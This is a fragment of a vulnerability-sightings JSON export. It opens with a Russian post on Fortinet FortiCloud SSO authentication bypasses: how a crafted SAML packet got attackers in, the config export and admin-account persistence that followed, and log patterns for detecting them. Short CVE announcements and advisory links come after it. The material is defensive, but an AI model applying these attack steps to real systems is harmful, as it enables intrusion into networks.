"\u0413\u043e\u0434 \u043d\u0430\u0437\u0430\u0434 \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438, \u043a\u0430\u043a \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0442\u044b\u0441\u044f\u0447 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Fortinet \u0443\u0442\u0435\u043a\u043b\u0438 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0418 \u0432\u043e\u0442 \u043e\u043f\u044f\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u043e\u0439 \u0436\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u043c\u0438.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2025-59718 \u0438 CVE-2025-59719 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Fortinet \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 single sign-on (SSO) \u0438 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud. \u042d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e SAML-\u043f\u0430\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 FortiOS, FortiWeb, FortiProxy, \u0438\u043b\u0438 FortiSwitch Manager, \u0435\u0441\u043b\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b SSO.\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c SSO-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438\u0441\u044c \u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Fortinet \u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435. \u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u0443\u0436\u0435 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24858, \u0438 \u043e\u043d\u0430 \u0442\u043e\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0451\u0442\u043a\u043e\u0439 FortiCloud \u043b\u043e\u0433\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0447\u0443\u0436\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b FortiOS, FortiManager, FortiAnalyzer, FortiProxy \u0438 FortiWeb. \n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f:\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Fortinet \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 FortiCloud SSO \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044d\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0442\u043e\u0433\u0434\u0430 SSO- \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u043d\u043e\u0432\u0430 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSO \u0432 \u0432\u0430\u0448\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u2013 \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439, \u0435\u0441\u043b\u0438 \u0432\u0441\u043a\u043e\u0440\u0435 \u043d\u0430\u0439\u0434\u0451\u0442\u0441\u044f \u0438 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u043e\u0433\u043e \u0436\u0435 \u0440\u043e\u0434\u0430.\n\n\u041f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0441 \u0446\u0435\u043b\u044c\u044e \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e IOCs, \u0430\u0442\u0430\u043a\u0430 \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443: \u044d\u0442\u043e \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f.\n\n\u0421 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Fortinet \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044e \u0434\u043b\u044f \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438:\n\u2014  \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438, IP-\u0430\u0434\u0440\u0435\u0441\u0443 \u0438 \u043c\u0435\u0442\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0435\u0441\u0442\u044c \u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (FTNTFGTmethod=sso \u0438\u043b\u0438 method=sso),\n\u2014 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 (msg=\u201dAdd system.admin \u2026\u201d), \n\u2014 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 (msg=\u201dSystem config file has been downloaded by user \u2026\u201d).\n\n\u0410 \u0435\u0449\u0451 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u043f\u043e\u0447\u0442\u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 Fortinet, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0418\u0411-\u043f\u0440\u043e\u0434\u0443\u043a\u0442: \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u043e\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430 eScan.  \u041c\u043e\u0440\u0430\u043b\u044c: \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u043e \u0432\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438 \u0442\u0435, \u0447\u0442\u043e \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u044b \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.", "creation_timestamp": "2026-08-05T00:00:30.793599Z"}, {"uuid": "89137d55-c370-46d7-adef-4aa6b7fb1700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24590", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmqtn4i6jc2h", "content": "CVE-2026-24590 - WordPress Paid Videochat Turnkey Site plugin\nCVE ID : CVE-2026-24590\n \n Published : May 26, 2026, 8:24 a.m. | 2\u00a0hours, 7\u00a0minutes ago\n \n Description : Missing Authorization vulnerability in VideoWhisper.Com Paid Videochat Turnkey Site allows Exploiting Incorrec...", "creation_timestamp": "2026-05-26T11:00:12.352448Z"}, {"uuid": "4a355e32-2885-4192-929d-937a59ced330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24638", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmqtus3upq2e", "content": "CVE-2026-24638 - WordPress RepairBuddy plugin\nCVE ID : CVE-2026-24638\n \n Published : May 26, 2026, 8:21 a.m. | 2\u00a0hours, 10\u00a0minutes ago\n \n Description : Missing Authorization vulnerability in Webful Creations RepairBuddy allows Exploiting Incorrectly Configured Access Control S...", "creation_timestamp": "2026-05-26T11:04:29.770697Z"}, {"uuid": "4b859b68-ba42-4e2c-9050-35d4cb633a67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24190", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmroeegm7z2n", "content": "CVE-2026-24190 - NVIDIA Display Driver Kernel Mode Layer Information Disclosure and Elevation of Privilege Vulnerability\nCVE ID : CVE-2026-24190\n \n Published : 26 mai 2026 17:22 | 39\u00a0minutes ago\n \n Description : NVIDIA Display Driver for Windows and Linux contains a vulnerabil...", "creation_timestamp": "2026-05-26T18:58:29.794969Z"}, {"uuid": "3f3d9e4b-93bc-40ea-b117-1928ffa9d350", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24194", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmroh2mqor2i", "content": "CVE-2026-24194 - NVIDIA Display Driver for Linux Kernel Mode Layer Handler Privilege Escalation\nCVE ID : CVE-2026-24194\n \n Published : 26 mai 2026 17:24 | 38\u00a0minutes ago\n \n Description : NVIDIA Display Driver for Linux contains a vulnerability in a kernel mode layer handler, w...", "creation_timestamp": "2026-05-26T19:00:00.238875Z"}, {"uuid": "ca0d33f0-6f81-422a-952b-2b5f0ac16974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24193", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmroq2gwf32t", "content": "CVE-2026-24193 - NVIDIA Display Driver Denial of Service and Code Execution Vulnerability\nCVE ID : CVE-2026-24193\n \n Published : 26 mai 2026 17:21 | 40\u00a0minutes ago\n \n Description : NVIDIA Display Driver for Windows and Linux contains a vulnerability where an attacker could cau...", "creation_timestamp": "2026-05-26T19:05:12.750543Z"}, {"uuid": "00e83876-7b69-4f46-8187-5e5c83eaf9ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24191", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrotgewhw2i", "content": "CVE-2026-24191 - NVIDIA Display Driver for Windows TOCTOU Vulnerability\nCVE ID : CVE-2026-24191\n \n Published : 26 mai 2026 17:23 | 38\u00a0minutes ago\n \n Description : NVIDIA Display Driver for Windows contains a vulnerability where an attacker could cause a time-of-check time-of-u...", "creation_timestamp": "2026-05-26T19:06:55.210962Z"}, {"uuid": "802c5e7a-7fb5-405e-9566-0699af2ead2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24201", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrpnrmhts2e", "content": "CVE-2026-24201 - NVIDIA vGPU Out-of-Bound Access Vulnerability\nCVE ID : CVE-2026-24201\n \n Published : 26 mai 2026 17:25 | 36\u00a0minutes ago\n \n Description : NVIDIA vGPU software contains a vulnerability in the virtual GPU manager, where an attacker could cause an out-of-bound acc...", "creation_timestamp": "2026-05-26T19:21:39.331829Z"}, {"uuid": "9dc8fe24-418d-437f-aaf8-0e3e696d173b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24200", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrptqprti2h", "content": "CVE-2026-24200 - NVIDIA vGPU Use-After-Free Vulnerability\nCVE ID : CVE-2026-24200\n \n Published : 26 mai 2026 17:24 | 37\u00a0minutes ago\n \n Description : NVIDIA vGPU software contains a vulnerability in the virtual GPU manager, where an attacker could cause a use-after-free for sta...", "creation_timestamp": "2026-05-26T19:24:59.591684Z"}, {"uuid": "4ead8b05-225e-4823-a54c-ea48ea7bb835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24520", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mms2sermvv2k", "content": "CVE-2026-24520 - WordPress Tiktok Feed plugin\nCVE ID : CVE-2026-24520\n \n Published : May 26, 2026, 8:16 p.m. | 15\u00a0minutes ago\n \n Description : Missing Authorization vulnerability in bPlugins Tiktok Feed allows Exploiting Incorrectly Configured Access Control Security Levels.\n\n...", "creation_timestamp": "2026-05-26T22:41:06.589368Z"}, {"uuid": "95c897ff-8f66-4d06-9178-abb9d0d9bc4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24905", "type": "published-proof-of-concept", "source": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-79qw-g77v-2vfh", "content": "", "creation_timestamp": "2026-01-29T14:13:23.000000Z"}, {"uuid": "1c90ffec-1c65-40db-94ce-926677d9b04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24299", "type": "seen", "source": "https://bsky.app/profile/rhodzy.com/post/3mscd7uumh32e", "content": "New blog post: Copilot: More Like Copi-leak, Eh?\n\nMicrosoft Copilot is being touted as the next big thing, but a recent DEF CON finding highlights some proper security ...\n\nhttps://rhodzy.com/blog/copilot-more-like-copi-leak-eh\n\n#microsoftcopilot #aisecurity #dataprivacy #techopinion #cve-2026-24299", "creation_timestamp": "2026-08-05T01:00:21.923720Z"}, {"uuid": "39bf55e6-c845-41ed-b1af-69b2003c3e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24895", "type": "published-proof-of-concept", "source": "https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38", "content": "", "creation_timestamp": "2026-02-12T12:40:24.000000Z"}, {"uuid": "d7b78426-c198-42b6-90c7-253f40ce3f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24415", "type": "published-proof-of-concept", "source": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j", "content": "", "creation_timestamp": "2026-03-03T15:33:27.000000Z"}, {"uuid": "8e0f4dcb-a8ce-4a02-9795-79b4949f6cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24299", "type": "seen", "source": "https://bsky.app/profile/rhodzy.com/post/3mscgl4mhye2m", "content": "New blog post: Copilot 365: Another Day, Another Data Hole\n\nThe \"Copirate 365\" talk at DEF CON wasn't exactly a shocker, was it? Letting an AI rummage through your ent...\n\nhttps://rhodzy.com/blog/copilot-365-another-day-another-data-hole\n\n#microsoftcopilot #ai #security #cve-2026-24299 #microsoft365", "creation_timestamp": "2026-08-05T02:00:20.271819Z"}, {"uuid": "d60def68-606b-418e-b172-9f776ed384bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24125", "type": "published-proof-of-concept", "source": "https://github.com/tinacms/tinacms/security/advisories/GHSA-2238-xc5r-v9hj", "content": "", "creation_timestamp": "2026-03-12T05:10:17.000000Z"}, {"uuid": "1b732d81-5217-4e33-a9d7-84d5e5e8185f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24079", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msjckmgfwq2b", "content": "\ud83d\udccc CVE-2026-24079 - Cryptographic Issue while processing registration requests with malformed or missing authentication parameters. https://www.cyberhub.blog/cves/CVE-2026-24079", "creation_timestamp": "2026-08-07T19:37:16.054211Z"}, {"uuid": "7db123f5-f935-4896-8ba5-72bf9a1494b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2497", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mt72r4pzzu2m", "content": "CVE-2026-2497 gallery-plugin (CVSS Score 7.2) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-08-16T11:16:09.815838Z"}, {"uuid": "a06b37a9-9dea-4a03-9e67-95ed4264e668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24132", "type": "published-proof-of-concept", "source": "https://github.com/orval-labs/orval/security/advisories/GHSA-f456-rf33-4626", "content": "", "creation_timestamp": "2026-01-22T15:20:41.000000Z"}, {"uuid": "ffdee18c-62ed-4a87-a3a1-6f8ffb129b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24850", "type": "published-proof-of-concept", "source": "https://github.com/RustCrypto/signatures/security/advisories/GHSA-5x2r-hc65-25f9", "content": "", "creation_timestamp": "2026-01-27T21:38:45.000000Z"}, {"uuid": "3b31b25d-cd1a-4f60-b8fa-35667408f453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24421", "type": "published-proof-of-concept", "source": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-wm8h-26fv-mg7g", "content": "", "creation_timestamp": "2026-01-23T19:02:39.000000Z"}, {"uuid": "5f2e28fe-00b8-4cbe-aefe-11cacb1c4b99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24056", "type": "published-proof-of-concept", "source": "https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw", "content": "", "creation_timestamp": "2026-01-26T15:43:05.000000Z"}, {"uuid": "7025376d-f924-41f4-a6ba-2a20ff7ee6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24686", "type": "published-proof-of-concept", "source": "https://github.com/theupdateframework/go-tuf/security/advisories/GHSA-jqc5-w2xx-5vq4", "content": "", "creation_timestamp": "2026-01-26T12:46:25.000000Z"}, {"uuid": "86921263-ddba-463a-be93-657bc152bf7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24417", "type": "published-proof-of-concept", "source": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h", "content": "", "creation_timestamp": "2026-02-06T16:47:45.000000Z"}, {"uuid": "902458b8-f2cf-4512-866c-31e06bdc8caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24416", "type": "published-proof-of-concept", "source": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4", "content": "", "creation_timestamp": "2026-02-06T16:47:53.000000Z"}, {"uuid": "5c7b756d-59f7-4e57-bef3-edbfed561883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24834", "type": "published-proof-of-concept", "source": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-wwj6-vghv-5p64", "content": "", "creation_timestamp": "2026-02-19T14:17:12.000000Z"}, {"uuid": "66abb933-96b3-4e57-bcf3-e2db470e70e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24894", "type": "published-proof-of-concept", "source": "https://github.com/php/frankenphp/security/advisories/GHSA-r3xh-3r3w-47gp", "content": "", "creation_timestamp": "2026-02-12T12:40:31.000000Z"}, {"uuid": "c341e230-6af8-4624-87d6-9198b3b68dd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24418", "type": "published-proof-of-concept", "source": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq", "content": "", "creation_timestamp": "2026-02-06T16:47:32.000000Z"}, {"uuid": "055bd805-6422-472e-a580-13200b0951de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24419", "type": "published-proof-of-concept", "source": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6", "content": "", "creation_timestamp": "2026-02-06T16:47:10.000000Z"}, {"uuid": "edf171b4-7868-438a-b3cf-ecf3ca001d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 